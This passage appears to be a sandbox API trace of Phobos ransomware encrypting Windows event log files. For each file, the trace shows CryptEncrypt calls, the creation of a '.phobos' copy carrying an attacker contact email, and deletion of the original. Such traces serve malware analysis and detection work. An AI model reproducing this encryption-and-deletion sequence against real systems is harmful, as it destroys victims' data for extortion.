SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0057.790] ReadFile (in: hFile=0x31c, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0057.803] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dcb10) returned 1 [0057.803] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.804] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc00b0, dwBufLen=0xc00b0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc00b0) returned 1 [0057.807] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.807] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0057.807] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0162, lpOverlapped=0x0) returned 1 [0057.818] SetEndOfFile (hFile=0x31c) returned 1 [0057.819] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0057.819] WriteFile (in: hFile=0x31c, lpBuffer=0x39b819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b819a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0057.820] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0057.820] WriteFile (in: hFile=0x31c, lpBuffer=0x39b819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b819a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0057.822] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0057.822] WriteFile (in: hFile=0x31c, lpBuffer=0x39b819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b819a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0057.823] CloseHandle (hObject=0x31c) returned 1 [0058.582] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0058.582] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.582] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1052672) returned 1 [0058.582] CloseHandle (hObject=0x31c) returned 1 [0058.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0058.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.583] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.583] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.583] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.583] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.583] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0058.583] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.583] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x101000, lpOverlapped=0x0) returned 1 [0058.618] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010, dwBufLen=0x101010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010) returned 1 [0058.619] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x101010, lpOverlapped=0x0) returned 1 [0058.752] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc810) returned 1 [0058.752] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.752] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xc0, dwBufLen=0xc0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xc0) returned 1 [0058.752] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.752] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x172, lpOverlapped=0x0) returned 1 [0058.752] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.752] CloseHandle (hObject=0x31c) returned 1 [0058.752] CloseHandle (hObject=0x2fc) returned 1 [0058.838] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0058.839] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0058.839] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.839] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0058.839] CloseHandle (hObject=0x2fc) returned 1 [0058.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0058.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.839] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.839] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.840] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.840] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.840] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc810) returned 1 [0058.840] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.840] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0058.863] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0058.863] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0058.864] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc9d0) returned 1 [0058.864] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.864] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0058.864] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.864] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0058.864] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.864] CloseHandle (hObject=0x2fc) returned 1 [0058.864] CloseHandle (hObject=0x338) returned 1 [0058.866] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0058.903] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0058.903] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.905] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0058.905] CloseHandle (hObject=0x310) returned 1 [0058.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0058.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.908] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.908] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.909] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.909] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.922] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0058.922] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.922] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0058.967] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0058.968] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0058.970] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc50) returned 1 [0058.970] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.970] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0058.970] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0058.970] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0058.970] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.970] CloseHandle (hObject=0x300) returned 1 [0058.970] CloseHandle (hObject=0x31c) returned 1 [0058.972] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0058.973] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0058.973] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.973] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0058.973] CloseHandle (hObject=0x31c) returned 1 [0058.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0058.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.974] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.974] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.974] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.974] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.996] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc10) returned 1 [0058.996] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0058.996] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.012] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.012] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.013] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc690) returned 1 [0059.013] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.013] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0059.013] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.013] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0059.013] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0059.013] CloseHandle (hObject=0x31c) returned 1 [0059.014] CloseHandle (hObject=0x2fc) returned 1 [0059.022] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0059.023] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.023] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.023] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.023] CloseHandle (hObject=0x2fc) returned 1 [0059.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0059.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.024] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.024] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.024] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.024] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.024] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dccd0) returned 1 [0059.024] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.024] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.055] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.055] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.056] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc10) returned 1 [0059.056] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.057] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0, dwBufLen=0xa0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0) returned 1 [0059.057] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0059.057] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x152, lpOverlapped=0x0) returned 1 [0059.057] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.057] CloseHandle (hObject=0x2fc) returned 1 [0059.057] CloseHandle (hObject=0x31c) returned 1 [0059.059] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0059.060] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.060] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: 